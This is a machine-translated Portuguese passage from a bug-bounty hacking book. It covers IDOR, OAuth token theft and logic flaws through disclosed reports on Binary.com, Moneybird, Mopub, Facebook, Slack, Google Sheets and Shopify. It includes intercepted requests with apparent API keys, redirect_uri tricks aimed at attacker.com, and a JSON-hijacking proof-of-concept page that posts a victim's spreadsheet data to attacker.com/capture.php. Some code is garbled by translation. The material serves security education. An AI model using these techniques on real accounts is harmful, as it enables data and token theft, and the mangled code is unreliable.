responde com seu UUID antes mesmo de aceitar? Essa é uma das maneiras pelas quais os sites vazam
Referências inseguras de objetos diretos 155
UUIDs. Em outras situações, verifique a origem da página ao visitar um perfil. Às vezes, os sites incluem
um blob JSON para o usuário, que também inclui todos os registros criados por eles, vazando UUIDs
confidenciais.
Nesse ponto, mesmo que você não consiga encontrar um vazamento, alguns sites recompensarão a
vulnerabilidade se as informações forem confidenciais. Cabe a você determinar o impacto e explicar à
empresa por que acredita que esse problema deve ser resolvido.
Exemplos
1. Escalonamento de Privilégios da Binary.com
Dificuldade: Baixa
URL: binary.com
Descrição:
Esta é realmente uma vulnerabilidade direta que não precisa de muita explicação.
Em essência, nessa situação, um usuário era capaz de fazer login em qualquer conta e visualizar
informações confidenciais ou realizar ações em nome da conta de usuário invadida e tudo o que era
necessário era saber o ID da conta do usuário.
Antes do hack, se você fizesse login em Binary.com/cashier e inspecionasse a página HTML, notaria
uma tag <iframe> que incluía um parâmetro PIN. Esse parâmetro era, na verdade, o ID da sua conta.
Em seguida, se você editasse o HTML e inserisse outro PIN, o site executaria automaticamente uma
ação na nova conta sem validar a senha ou qualquer outra credencial. Em outras palavras, o site
trataria você como o proprietário da conta que acabou de fornecer.
Novamente, tudo o que era necessário era saber o número da conta de alguém. Você pode até alterar
o evento que ocorre no iframe para PAYOUT para invocar uma ação de pagamento para outra conta.
No entanto, Binary.com indica que todas as retiradas requerem revisão humana manual, mas isso não
significa necessariamente que teria sido pego
Aprendizado
Se você estiver procurando por vulnerabilidades baseadas em autenticação, fique atento para
onde as credenciais estão sendo passadas para um site. Embora essa vulnerabilidade tenha
sido detectada ao observar o código-fonte da página, você também pode ter notado as
informações sendo transmitidas ao usar um interceptador Proxy.
Se você encontrar algum tipo de credencial sendo passada, observe quando elas não
parecerem criptografadas e tente brincar com elas. Nesse caso, o PIN era apenas CRXXXXXX
enquanto a senha era 0e552ae717a1d08cb134f132 claramente o PIN não foi criptografado
enquanto a senha era. Valores não criptografados representam uma boa área para começar a
brincar.
2. Criação do aplicativo Moneybird
Dificuldade: Média
URL: https://moneybird.com/user/applications
Descrição:
Em maio de 2016, comecei a testar o Moneybird em busca de vulnerabilidades. Ao fazer isso, comecei a testar
as permissões da conta de usuário, criando uma empresa com a Conta A e, em seguida, convidando um
segundo usuário, a Conta B, para ingressar na conta com permissões limitadas. Se você não estiver
familiarizado com a plataforma deles, os usuários adicionados podem ser limitados a funções e permissões
específicas, incluindo apenas faturas, estimativas, serviços bancários etc. Como parte disso, os usuários com
permissões totais também podem criar aplicativos e ativar o acesso à API, com cada aplicativo com suas
próprias permissões OAuth (ou escopos na linguagem OAuth). O envio do formulário para criar um aplicativo
com permissões totais parecia:
POST /user/applications HTTP/1.1 Host:

moneybird.com User-Agent: Mozilla/5.0
(Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0 Aceitar: text/html,application/xhtml+xml,application/
xml ;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Referer:
https://moneybird.com/user/applications /novo Cookie: _moneybird_session=XXXXXXXXXXXXXXX;
Trusted_computer = Conexão: fechar
Tipo de conteúdo: application/x-www-form-urlencoded

Comprimento do conteúdo: 397
utf8=%E2%9C%93&authenticity_token=REDACTED&doorkeeper_application%5Bname%5D=TWDApp&t\
oken_type=access_token&administration_id=ABCDEFGHIJKLMNOP&scopes%5B%5D=sales_invoice\
s&scopes%5B%5D=documents&scopes%5B%5D=estimativas&scopes%5B%5D=sales_invoice\
s&scopes%5B%5D=documents&scopes%5B%5D=estimativas&scopes%5B%5Bscopes%5Bscope %5D=configuração\ ngs&doorkeeper_application%5Bredirect
Como você pode ver, a chamada inclui um Administration_id, que acaba sendo o ID da conta para as
empresas às quais os usuários são adicionados. Ainda mais interessante foi o fato de que, apesar do número
da conta ser um número de 18 dígitos (no momento do meu teste), ele foi imediatamente divulgado ao usuário
adicionado à conta depois que ele fez login por meio da URL. Portanto, quando o usuário B fez login, eles (ou
melhor, eu) foram redirecionados para a conta A em https://moneybird.com/ABCDEFGHIJKLMNOP (com
base em nosso id de exemplo acima) com ABCDEFGHIJKLMOP sendo o Administration_id.
Com essas duas informações, era natural usar meu usuário convidado, o Usuário B, para tentar criar um
aplicativo para o negócio do Usuário A, apesar de não ter permissão explícita para fazê-lo. Como resultado,
com o usuário B, criei uma segunda empresa que o usuário B possuía e tinha controle total (ou seja, o usuário
B tinha permissões totais na conta B e podia criar aplicativos para ela, mas não deveria ter permissão para criar
aplicativos para a Conta A). Fui para a página de configurações da Conta B e adicionei um aplicativo,
interceptando a chamada POST para substituir o Administration_id pelo URL da Conta A e funcionou.
Como usuário B, eu tinha um aplicativo com permissões totais para a conta A, apesar de meu usuário ter
apenas permissões limitadas para faturamento.
Acontece que um invasor pode usar essa vulnerabilidade para ignorar as permissões da plataforma e criar um
aplicativo com permissões totais, desde que tenha sido adicionado a uma empresa ou comprometido uma conta
de usuário, independentemente das permissões dessa conta de usuário.
Apesar de ter entrado no ar não muito tempo antes e, sem dúvida, ter sido inundado com relatórios, o Moneybird
resolveu o problema e pagou em um mês. Definitivamente, uma ótima equipe para se trabalhar, uma que eu
recomendo.
Aprendizado
O teste para IDORs requer observação aguçada, bem como habilidade. Ao analisar
solicitações HTTP em busca de vulnerabilidades, fique atento a identificadores de conta,
como o Administration_id acima. Embora o nome do campo, Administration_id seja
um pouco enganoso em comparação com o fato de ser chamado de account_id, ser
um inteiro simples era um sinal de alerta que eu deveria verificar. Além disso, devido ao
tamanho do parâmetro, teria sido difícil explorar a vulnerabilidade sem causar muito
ruído na rede, tendo que repetir as solicitações em busca do ID correto. Se você
encontrar vulnerabilidades semelhantes, para melhorar seu relatório, esteja sempre
atento a respostas HTTP, urls etc. que revelem ids. Felizmente para mim, o id de que
eu precisava estava incluído no URL da conta.
3. Roubo de token da API Mopub do Twitter
Dificuldade: Média
URL: https://mopub.com/api/v3/organizations/ID/mopub/activate
Descrição:
Em outubro de 2015, Akhil Reni (https://hackerone.com/wesecureapp) relatou que o aplicativo Mopub do

Twitter (uma aquisição do Twitter em 2013) era vulnerável a um bug IDOR que permitia que invasores
roubassem chaves de API e, por fim, tomassem conta da conta da vítima.
Curiosamente, porém, as informações de aquisição da conta não foram fornecidas com o relatório inicial -
foram fornecidas 19 dias após via comentário, felizmente antes do Twitter pagar uma recompensa.
De acordo com seu relatório, essa vulnerabilidade foi causada pela falta de validação de permissão na
chamada POST para o ponto de extremidade de ativação do Mopub. Aqui está o que parecia:
POST /api/v3/organizations/5460d2394b793294df01104a/mopub/activate HTTP/1.1

Host: fabric.io
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X -CSRF-Token:
0jGxOZOgvkmucYubALnlQyoIlsSUBJ1VQxjw0qjp73A= Tipo de conteúdo: application/x-www-
form-urlencoded; charset=UTF-8 X-CRASHLYTICS-DEVELOPER-TOKEN:
0bb5ea45eb53fa71fa5758290be5a7d5bb867e77 X-Requested-With: XMLHttpRequest Referer:
https://fabric.io/img-srcx-onerrorprompt15/android/apps/app.myapplication/m\ opub Content-
Comprimento: 235 Cookie: <redigido> Conexão: keep-alive Pragma: sem cache Controle de
cache: sem cache
company_name=dragoncompany&address1=123 street&address2=123&city=hollywood&state=cal\
ifornia&zip_code=90210&country_code=US&link=false
O que resultou na seguinte resposta:
{"mopub_identity":{"id":"5496c76e8b15dabe9c0006d7","confirmed":true,"primary":false,\
"service":"mopub","token":"35592"},"organization":{" id":"5460d2394b793294df01104a","\
name":"test","alias":"test2","api_key":"8590313c7382375063c2fe279a4487a98387767a","e\
nrollments":{"beta_distribution":"true"},"accounts_count ":3,"apps_counts":{"android"\
:2},"sdk_organization":true,"build_secret":"5ef0323f62d71c475611a635ea09a3132f037557\
d801503573b643ef8ad82054","mopub_id":"33525"}}
Nessas chamadas, você verá que o ID da organização foi incluído como parte da URL, semelhante
ao exemplo 2 acima. Na resposta, o Mopub confirma o id da organização e também fornece a
api_key. Novamente, semelhante ao exemplo acima, embora o ID da organização seja uma string
impossível de adivinhar, ele vazou na plataforma, cujos detalhes infelizmente não foram
compartilhados nesta divulgação.
Agora, como mencionado, depois que o problema foi resolvido, Akhil sinalizou para o Twitter que
essa vulnerabilidade poderia ter sido abusada para assumir completamente o controle da conta da
vítima. Para fazer isso, o invasor teria que pegar a chave de API roubada e substituí-la pelo segredo
de compilação na URL https://app.mopub.com/complete/htsdk/?code=BUILDSECRET&next=%2d.
Depois de fazer isso, o invasor teria acesso à conta Mopub da vítima e a todos os aplicativos/
organizações da plataforma de desenvolvimento móvel do Twitter, Fabric.
Aprendizado
Embora semelhante ao exemplo do Moneybird acima, em que ambos exigiam o
abuso de IDs de organização vazados para elevar privilégios, este exemplo é ótimo
porque demonstra a gravidade de poder atacar usuários remotamente, com zero
interação em seu nome e a necessidade de demonstrar um completo explorar.
Inicialmente, Akhil não incluiu ou demonstrou o controle total da conta e, com base
na resposta do Twitter à sua menção (ou seja, solicitando detalhes e etapas completas
para fazer isso), eles podem não ter considerado esse impacto ao resolver inicialmente
a vulnerabilidade. Portanto, ao relatar, certifique-se de considerar e detalhar
totalmente o impacto total da vulnerabilidade que está relatando, incluindo as etapas para reproduzi-la.
Resumo
As vulnerabilidades IDOR ocorrem quando um invasor pode acessar ou modificar alguma
referência a um objeto que deveria estar inacessível para esse invasor. Eles são uma grande
vulnerabilidade para testar e encontrar porque sua complexidade varia de simples, explorando
números inteiros simples adicionando e subtraindo, a mais complexos onde UUIDs ou
identificadores aleatórios são usados. Caso um site esteja usando UUIDs ou identificadores
aleatórios, nem tudo está perdido. Pode ser possível adivinhar esses identificadores ou encontrar
locais onde o site está vazando os UUIDs. Isso pode incluir respostas JSON, respostas de
conteúdo HTML e URLs como alguns exemplos.
Ao relatar, considere como um invasor pode abusar da vulnerabilidade. Por exemplo, enquanto
meu exemplo do Moneybird exigia que um usuário fosse adicionado a uma conta, um invasor
poderia explorar o IDOR para ignorar completamente as permissões da plataforma, comprometendo
qualquer usuário na conta.
19. OAuth
Descrição
De acordo com o site OAuth, é um protocolo aberto para permitir autorização segura em
um método simples e padrão de aplicativos da web, móveis e desktop. Em outras
palavras, OAuth é uma forma de autenticação do usuário que permite aos usuários
permitir que sites ou aplicativos acessem suas informações de outro site sem divulgar ou
compartilhar sua senha. Este é o processo subjacente que permite que você faça login
em um site usando Facebook, Twitter, LinkedIn, etc. Existem duas versões do OAuth,
1.0 e 2.0. Eles não são compatíveis entre si e para os propósitos deste Capítulo,
estaremos trabalhando com 2.0.
Como o processo pode ser bastante confuso e a implementação tem muito potencial
para erros, incluí uma ótima imagem de Philippe Harewood's1 blog descrevendo o
processo geral:
1https://www.philippeharewood.com
OAuth 162
Philippe Harewood - Processo OAuth do Facebook
Vamos quebrar isso. Para começar, você notará que há três títulos na parte superior: Navegador do
usuário, Código do lado do servidor do seu aplicativo e API do Facebook. Em termos de OAuth,
eles são, na verdade, o proprietário do recurso, o cliente e o servidor de recursos. A principal
conclusão é que seu navegador executará e manipulará uma série de solicitações HTTP para facilitar a
você, como proprietário do recurso, instruir o servidor de recursos a permitir que o cliente acesse
suas informações pessoais, conforme definido pelos escopos solicitados. Os escopos são como
permissões e controlam o acesso a informações específicas. Por exemplo, os escopos do Facebook
incluem e-mail, public_profile, user_friends etc. Portanto, se você conceder apenas o escopo de e-mail,
um site poderá acessar apenas essas informações do Facebook e não seus amigos, perfil etc.
Dito isso, vamos percorrer as etapas.
Passo 1
Você pode ver que todo o processo OAuth inicia o navegador do usuário e um usuário clicando em
“Login with Facebook”. Clicar nisso resulta em uma solicitação GET para o site em que você está. O
caminho geralmente se parece com www.example.com/oauth/facebook.
OAuth 163
Passo 2
O site responderá com um redirecionamento 302 que instrui seu navegador a executar uma solicitação
GET para a URL definida no cabeçalho de localização. A URL será algo como:
https://www.facebook.com/v2.0/dialog/oauth?client_id=123
&redirect_uri=https%3A%2F%2Fwww.example.com%2Foauth%2Fcallback
&response_type=code&scope=email&state=XYZ
Há algumas partes importantes neste URL. Primeiro, o client_id identifica de qual site você está vindo.
O redirect_uri informa ao Facebook para onde enviar você de volta depois de permitir que o site (o
cliente) acesse as informações definidas pelo escopo, também incluídas na URL.
Em seguida, o response_type informa ao Facebook o que retornar, pode ser um token ou um código.
A diferença entre esses dois é importante, um código é usado pelo site permitido (o cliente) para
chamar de volta para o servidor de recursos, ou Facebook em nosso exemplo, novamente para obter
um token. Por outro lado, solicitar e receber um token nessa primeira parada forneceria acesso imediato
ao servidor de recursos para consultar as informações da conta, desde que o token fosse válido.
Por fim, o valor do estado atua como um tipo de proteção CSRF. O site solicitante (o cliente) deve
incluir isso em sua chamada original para o servidor de recursos e deve retornar o valor para garantir
que a) a solicitação original foi invocada pelo site e b) a resposta não foi adulterada.
etapa 3
Em seguida, se um usuário aceitar o pop-up da caixa de diálogo OAuth e conceder ao cliente

permissões para suas informações no servidor de recursos ou no Facebook em nosso exemplo, ele
responderá ao navegador com um redirecionamento 302 de volta ao site (cliente), definido por o
redirect_uri e inclua um código ou token, dependendo do response_type (geralmente é um código) na
URL inicial.
Passo 4
O navegador fará uma solicitação GET ao site (cliente), incluindo o código e os valores de estado
fornecidos pelo servidor de recursos na URL.
Passo 5
O site (cliente) deve validar o valor do estado para garantir que o processo não foi adulterado e usar o
código junto com seu client_secret (que só eles sabem) para fazer uma solicitação GET ao servidor de
recursos, ou Facebook aqui, para um token .
OAuth 164
Passo 6
O servidor de recursos, ou Facebook neste exemplo, responde ao site (cliente) com um token que permite ao
site (cliente) fazer chamadas de API para o Facebook e acessar os escopos permitidos na Etapa 3.
Agora, com todo esse processo em mente, uma coisa a observar é que, depois de autorizar o site (cliente) a
acessar o servidor de recursos, Facebook neste exemplo, se você visitar a URL da Etapa 2 novamente, o
restante do processo será executado completamente em segundo plano, sem a necessidade de interação do
usuário.
Então, como você deve ter adivinhado, uma vulnerabilidade potencial a ser procurada com OAuth é a capacidade
de roubar tokens que o servidor de recursos retorna. Isso permitiria que um invasor acessasse o servidor de
recursos em nome da vítima, acessando o que fosse permitido por meio dos escopos da autorização da Etapa
3. Com base em minha pesquisa, isso normalmente é resultado da capacidade de manipular o redirect_uri e
solicitar um token em vez de um código.
Portanto, a primeira etapa para testar isso vem na Etapa 2. Quando você for redirecionado para o servidor de
recursos, modifique o response_type e veja se o servidor de recursos retornará um token. Em caso afirmativo,
modifique o redirect_uri para confirmar como o site ou aplicativo foi configurado. Aqui, alguns servidores de
recursos OAuth podem estar configurados incorretamente e permitir URLs como www.example.ca,
www.example.com@attacker.com, etc. No primeiro exemplo, adicionar .ca realmente altera o domínio do site.
Portanto, se você puder fazer algo semelhante e comprar o domínio, os tokens serão enviados ao seu servidor.
No segundo exemplo, adicionar @ altera a URL novamente, tratando a primeira metade como o nome de usuário
e a senha a serem enviados para attacker.com.
Cada um desses dois exemplos fornece o melhor cenário possível para você como hacker se um usuário já tiver
concedido permissão ao site (cliente). Ao revisitar a URL agora maliciosa com um response_type e um
redirect_uri modificados, o servidor de recursos reconheceria que o usuário já deu permissão e retornaria o
token ao seu servidor automaticamente sem nenhuma interação deles. Por exemplo, por meio de um <img>
malicioso com o atributo src apontando para a URL maliciosa.
Agora, assumindo que você não pode redirecionar diretamente para o seu servidor, você ainda pode ver se o
servidor de recursos aceitará subdomínios diferentes, como test.example.com ou caminhos diferentes, como
www.example.com/attacker-controlado. Se a configuração do redirect_uri não for estrita, isso pode resultar no
envio do token pelo servidor de recursos para uma URL que você controla. No entanto, você precisaria
combinar com essa outra vulnerabilidade para roubar um token com sucesso.
Três maneiras de fazer isso são um redirecionamento aberto, solicitando uma imagem remota ou um XSS.
Com relação ao redirecionamento aberto, se você conseguir controlar o caminho e/ou subdomínio para o qual
está sendo redirecionado, um redirecionamento aberto vazará o token da URL no cabeçalho do referenciador
que é enviado ao seu servidor. Em outras palavras, um redirecionamento aberto permitirá que você envie um
usuário para seu site malicioso e, ao fazer isso, a solicitação ao seu servidor será
OAuth 165
inclua o URL de origem da vítima. Como o servidor de recursos está enviando a vítima para o redirecionamento
aberto e o token está incluído nesse URL, o token será incluído no cabeçalho do referenciador que você recebe.
Com relação a uma imagem remota, é um processo semelhante ao descrito acima, exceto quando o servidor de
recursos redireciona para uma página que inclui uma imagem remota de seu servidor.
Quando o navegador da vítima solicita a imagem, o cabeçalho referenciador dessa solicitação incluirá a URL. E assim
como acima, como a URL inclui o token, ele será incluído na solicitação ao seu servidor.
Por fim, com relação ao XSS, se você conseguir encontrar um XSS armazenado em qualquer subdomínio/caminho
para o qual você está redirecionando ou um XSS refletido como parte do redirect_uri, um invasor pode explorá-lo
para usar um script malicioso que leva o token da URL e o envia para o servidor.
Com tudo isso em mente, essas são apenas algumas das maneiras pelas quais o OAuth pode ser abusado. Existem
muitos outros, como você aprenderá com os exemplos.
Exemplos
1. Passando Tokens de Acesso Oficial do Facebook
Dificuldade: Alta
URL: facebook.com
Link do relatório: Philippe Harewood - passando tokens de acesso oficial do Facebook2
Descrição:
Em sua postagem no blog detalhando essa vulnerabilidade, Philippe começa descrevendo como ele queria tentar
capturar tokens do Facebook. No entanto, ele não conseguiu encontrar uma maneira de interromper o processo
OAuth para enviar tokens. Em vez disso, ele teve a engenhosa ideia de procurar um aplicativo vulnerável do Facebook
que pudesse controlar. Muito semelhante à ideia de aquisição de um subdomínio.
Acontece que todo usuário do Facebook tem aplicativos autorizados por sua conta, mas que não podem usar
explicitamente. De acordo com sua redação, um exemplo seria “Guia de conteúdo de uma página em www”, que
carrega algumas chamadas de API nas páginas de fãs do Facebook. A lista de aplicativos está disponível em https://
www.facebook.com/search/me/apps-used.
2http://philippeharewood.com/swiping-facebook-official-access-tokens
OAuth 166
Olhando por essa lista, Philippe conseguiu encontrar um aplicativo que estava configurado incorretamente e poderia ser
usado para capturar tokens com uma solicitação semelhante a:
https://facebook.com/v2.5/dialog/oauth?response_type=token&display=popup&client_id=A\
PP_ID&redirect_uri=REDIRECT_URI
Aqui, o aplicativo que ele usaria para o APP_ID era um que tinha permissões totais já autorizadas e mal configuradas - o
que significa que as etapas 1 e 2 do processo descrito na descrição do OAuth já foram concluídas e o usuário não
receberia um pop-up para conceder permissão ao aplicativo porque, na verdade, eles já o haviam feito!
Além disso, como o REDIRECT_URI não era propriedade do Facebook, Philippe poderia assumir o controle. Como
resultado, quando um usuário clicar em seu link, ele será redirecionado para:
http://REDIRECT_URI/access_token_apended_aqui
Philippe poderia usar este endereço para registrar todos os tokens de acesso e assumir contas do Facebook!
O que é ainda mais incrível, de acordo com a postagem dele, uma vez que você tenha um token de acesso oficial do
Facebook, você terá acesso a tokens de outras propriedades de propriedade do Facebook, como o Instagram! Bastava
fazer uma chamada para o Facebook GraphQL (uma API para consultar dados do Facebook) e a resposta incluiria um
access_token para o aplicativo em questão.
Aprendizado
Ao procurar vulnerabilidades, considere como ativos obsoletos podem ser explorados.

Quando estiver hackeando, fique atento a alterações de aplicativos que podem deixar
recursos como esses expostos. Este exemplo de Philippe é incrível porque começou
com ele identificando um objetivo final, roubando tokens OAuth e, em seguida,
encontrando os meios para fazer isso.
Além disso, se você gostou deste exemplo, deveria conferir o Blog do Philippe3 (incluído
no capítulo Recursos) e a entrevista Hacking Pro Tips que ele se sentou comigo para
fazer - ele fornece muitos bons conselhos!.
2. Roubo de tokens OAuth do Slack
Dificuldade: Baixa
URL: https://slack.com/oauth/authorize Link do
4http://hackerone.com/reports/2575
OAuth 167
Data do relatório: 1º de maio de 2013
Descrição:
Em maio de 2013, Prakhar Prasad5 relatou ao Slack que conseguiu contornar as restrições de redirect_uri adicionando
um sufixo de domínio ao domínio de redirecionamento permitido configurado.
Assim, em seu exemplo, ele criou um novo aplicativo em https://api.slack.com/applications/new com um redirect_uri
configurado para https://www.google.com. Então, testando isso, se ele tentou redirect_uri=http://attacker.com, Slack
negou a solicitação. No entanto, se ele enviou redirect_uri=www.google.com.mx, o Slack permitiu a solicitação. Tentar
redirect_- uri=www.google.com.attacker.com também era permitido.
Como resultado, tudo o que um invasor precisava fazer era criar o subdomínio adequado em seu site correspondente
ao redirect_uri válido registrado para o aplicativo Slack, fazer com que a vítima visitasse o URL e o Slack enviaria o
token ao invasor.
Aprendizado
Embora um pouco antiga, essa vulnerabilidade demonstra como as validações OAuth

redirect_uri podem ser configuradas incorretamente pelos servidores de recursos. Nesse
caso, foi a implementação do OAuth pelo Slack que permitiu que um invasor adicionasse
sufixos de domínio e roubasse tokens.
3. Roubando planilhas do Google Drive
Dificuldade: Média
URL: https://docs.google.com/spreadsheets/d/KEY Link do
relatório: https://rodneybeede.com6
Descrição:
Em outubro de 2015, Rodney Beede encontrou uma vulnerabilidade interessante no Google que poderia permitir que
um invasor roubasse planilhas se soubesse o ID da planilha. Isso foi resultado de uma combinação de fatores,
especificamente que as solicitações HTTP GET do Google não incluíam um token OAuth, o que criou uma
vulnerabilidade CSRF, e a resposta foi
5https://hackerone.com/prakharprasad
6https://www.rodneybeede.com/Google_Spreadsheet_Vuln_-_CSRF_and_JSON_Hijacking_allows_data_theft.html
OAuth 168
um objeto Javascript válido contendo JSON. Estendendo a mão para ele, ele foi gentil o suficiente para
permitir que o exemplo fosse compartilhado.
Antes da correção, a API de visualização do Google permitia que os desenvolvedores consultassem o

Planilhas Google para obter informações de planilhas armazenadas no Google Drive. Isso seria realizado
com uma solicitação HTTP GET semelhante a:
https://docs.google.com/spreadsheets/d/ID/gviz/tq?headers=2&range=A1:H&sheet\
=Sheet1&tqx=reqId%3A0
Os detalhes da URL não são importantes, então não vamos detalhá-los. O importante é que, ao fazer essa
solicitação, o Google não incluiu ou validou um token OAauth enviado ou qualquer outro tipo de proteção
CSRF. Como resultado, um invasor pode invocar a solicitação em nome da vítima por meio de uma página
da Web maliciosa (exemplo cortesia de Rodney):
1 <html>
2 <cabeça>
3 <script>
4 var google = new Object();
5 google.visualization = new Object();
6 google.visualization.Query = new Object();
7 google.visualization.Query.setResponse = function(mercadorias)
8 { google.response = JSON.stringify(mercadorias, indefinido, 2); }
9 </script>
10
11
12 
13 <script type="text/javascript" src="https://docs.google.com/spreadsheets/d/1bWK2\
14 wx57QJLCsWh-jPQS07-2nkaiEaXPEDNGoVZwjOA/gviz/tq?headers=2&range=A1:H&sheet=S\ 15
heet1&tqx=reqId%3A0"></script>
16
17 <script>
18 function
19 contrabando(mercadorias)
20 { document.getElementById('carga').innerText = mercadorias; document.getElementById('hidden').submit();
21
22 } </script>
23 </head>
24
25 <body onload="smuggle(google.response);"> 26
<form action="https://attacker.com/capture.php" method="POST" id="hidden"> <textarea
27 id="cargo" name="cargo" rows="35" cols="70" ></textarea> </form>
28
OAuth 169
29
30 </body> 31
</html>
Vamos quebrar isso. De acordo com a documentação do Google7 , a resposta JSON inclui os dados
em um objeto Javascript. Se uma solicitação não incluir um valor responseHandler, o valor padrão será
google.visualization.Query.setResponse. Então, pensando nisso, o script na linha 3 começa a criar
os objetos que precisamos para definir uma função anônima que será chamada para setResponse
quando recebermos nossos dados com o objeto Javascript do Google.
Então, na linha 8, definimos a resposta no objeto google para o valor JSON da resposta.
Como o objeto simplesmente contém um JSON válido, ele é executado sem nenhum problema. Aqui
está um exemplo de resposta depois de ter sido restrita (novamente, cortesia de Rodney):
{ "version": "0.6",
"reqId": "0",
"status": "ok",
"sig": "405162961",
"table": { "cols":
[ { "id":"A ", "rótulo":
"Conta nº 12345",
...
Agora, neste ponto, os leitores astutos devem ter se perguntado, o que aconteceu com as proteções
do Cross Origin Resource Sharing? Como nosso script pode acessar a resposta do Google e usá-la?
Bem, como o Google está retornando um objeto Javascript que contém uma matriz JSON e esse objeto
não é anônimo (ou seja, o valor padrão será parte de setResponse), o navegador trata isso como um
Javascript válido, permitindo que invasores o leiam e usem . Pense na inclusão de um script legítimo
de um site remoto em seu próprio HTML, a mesma ideia. Se o script simplesmente contivesse um
objeto JSON, não seria um Javascript válido e não poderíamos acessá-lo.
Como um aparte rápido, esse tipo de vulnerabilidade já existe há algum tempo, conhecido como
sequestro de JSON. A exploração disso costumava ser possível para objetos Javascript anônimos,
substituindo o método Javascript Object.prototype.defineSetter, mas isso foi corrigido no Chrome 27,
Firefox 21 e IE 10.
Voltando ao exemplo de Rodney, quando nossa página maliciosa é carregada, o manipulador de

eventos onload para nossa tag body na linha 25 executará a função smuggle da linha 18. Aqui,
7https://developers.google.com/chart/interactive/docs/dev/implementing_data_source#json-response-format
OAuth 170
obtemos o elemento textarea cargo em nosso formulário na linha 27 e definimos o texto para nossa
resposta na planilha. Enviamos o formulário para o site de Rodney e roubamos os dados com sucesso.
Curiosamente, de acordo com a interação de Rodney com o Google, mudar isso não foi uma correção
simples e exigiu mudanças na própria API. Como resultado, embora ele tenha relatado em 29 de
outubro de 2015, isso não foi resolvido até 15 de setembro de 2016.
Aprendizado
Existem alguns tópicos aqui. Primeiro, as vulnerabilidades OAuth nem sempre são
sobre roubo de tokens. Fique atento às solicitações de API protegidas por OAuth que
não estão enviando ou validando o token (ou seja, tente remover o cabeçalho do token
OAuth se houver um identificador, como o ID da planilha, na URL). Em segundo lugar,
é importante reconhecer e entender como os navegadores interpretam Javascript e JSON.
Essa vulnerabilidade foi parcialmente possível porque o Google estava retornando um
objeto Javascript válido que continha JSON acessível via setResponse. Se fosse um
array Javascript anônimo, não teria sido possível. Por fim, embora seja um tema
comum no livro, leia a documentação. A documentação do Google sobre as respostas
foi fundamental para desenvolver uma prova de conceito funcional que enviava os
dados da planilha para um servidor remoto.
Resumo
OAuth pode ser um processo complicado para entender quando você está aprendendo sobre ele, ou
pelo menos foi para mim e para os hackers com quem conversei e aprendi.
No entanto, depois de entendê-lo, há muito potencial para vulnerabilidades devido à sua complexidade.
Ao testar as coisas, fique atento a soluções criativas, como a aquisição de aplicativos de terceiros por
Philippe e o abuso de sufixos de domínio como Prakhar.
20. Vulnerabilidades da lógica do aplicativo

Descrição
As vulnerabilidades da lógica do aplicativo são diferentes dos outros tipos que discutimos até agora. Enquanto
HTML Injection, HTML Parameter Pollution, XSS, etc. todos envolvem o envio de algum tipo de entrada
potencialmente maliciosa, as vulnerabilidades da lógica do aplicativo realmente envolvem a manipulação de
cenários e a exploração de bugs na codificação de aplicativos da Web e nas decisões de desenvolvimento.
Um exemplo notável desse tipo de ataque foi realizado por Egor Homakov contra o GitHub, que usa Ruby on
Rails. Se você não estiver familiarizado com Rails, é um framework web muito popular que cuida de muito do
trabalho pesado ao desenvolver um site web.
Em março de 2012, Egor sinalizou para a Comunidade Rails que, por padrão, o Rails aceitaria todos os
parâmetros enviados a ela e usaria esses valores na atualização dos registros do banco de dados (dependendo
da implementação dos desenvolvedores). O pensamento dos desenvolvedores do núcleo do Rails era que os
desenvolvedores da Web que usam o Rails deveriam ser responsáveis por fechar essa lacuna de segurança
e definir quais valores poderiam ser enviados por um usuário para atualizar os registros. Esse comportamento
já era bem conhecido na comunidade, mas o tópico no GitHub mostra como poucos apreciaram o risco que
isso representa https://github.com/rails/rails/issues/52281 .
Quando os desenvolvedores principais discordaram dele, Egor passou a explorar uma vulnerabilidade de
autenticação no GitHub adivinhando e enviando valores de parâmetros que incluíam uma data de criação (não
muito difícil se você trabalhou com Rails e sabe que a maioria dos registros inclui uma coluna criada e
atualizada no banco de dados). Como resultado, ele criou um ticket no GitHub com a data anos no futuro. Ele
também conseguiu atualizar as chaves de acesso SSH que lhe permitiram acessar o repositório de código
oficial do GitHub.
Conforme mencionado, o hack foi possível através do código GitHub de back-end que não autenticou
corretamente o que Egor estava fazendo, ou seja, que ele não deveria ter permissão para enviar valores para
a data de criação, que posteriormente foram usados para atualizar os registros do banco de dados. Nesse
caso, Egor encontrou o que foi chamado de vulnerabilidade de atribuição em massa.
As vulnerabilidades da lógica do aplicativo são um pouco mais difíceis de encontrar em comparação com os
tipos anteriores de ataques discutidos porque dependem do pensamento criativo sobre as decisões de
codificação e não são apenas uma questão de enviar código potencialmente malicioso do qual os
desenvolvedores não escapam (não tentando minimizar outros tipos de vulnerabilidade aqui, alguns ataques
XSS estão além da complexidade!).
1https://github.com/rails/rails/issues/5228
Vulnerabilidades da lógica do aplicativo 172
Com o exemplo do GitHub, Egor sabia que o sistema era baseado em Rails e como o Rails lidava com
a entrada do usuário. Em outros exemplos, pode ser uma questão de fazer chamadas de API diretas
de forma programática para testar o comportamento que complementa um site, como visto no Shopify's
Administrator Privilege Bypass abaixo. Ou é uma questão de reutilizar valores retornados de chamadas
de API autenticadas para fazer chamadas de API subsequentes que você não deve ter permissão para
fazer.
Exemplos
1. Ignorar privilégio de administrador da Shopify
Dificuldade: Baixa
URL: shop.myshopify.com/admin/mobile_devices.json Link do
Descrição:
Shopify é uma plataforma enorme e robusta que inclui uma interface de usuário voltada para a Web e
APIs de suporte. Neste exemplo, a API não validou algumas permissões que a IU da web aparentemente
fez. Como resultado, os administradores da loja, que não tinham permissão para receber notificações
de vendas por e-mail, podiam ignorar essa configuração de segurança manipulando o endpoint da API
para receber notificações em seus dispositivos Apple.
Segundo o relatório, o hacker teria apenas que:
• Faça login no aplicativo de telefone da Shopify com uma conta de

acesso total • Intercepte a solicitação para POST /admin/
mobile_devices.json • Remova todas as permissões dessa conta •
Remova a notificação móvel adicionada • Repita a solicitação para
POST /admin/mobile_devices.json
Depois de fazer isso, esse usuário receberia notificações móveis para todos os pedidos feitos na loja,
ignorando assim as configurações de segurança definidas pela loja.
Aprendizado
Existem duas dicas importantes aqui. Primeiro, nem tudo é sobre injetar código, HTML, etc.
Lembre-se sempre de usar um proxy e observar quais informações estão sendo passadas para
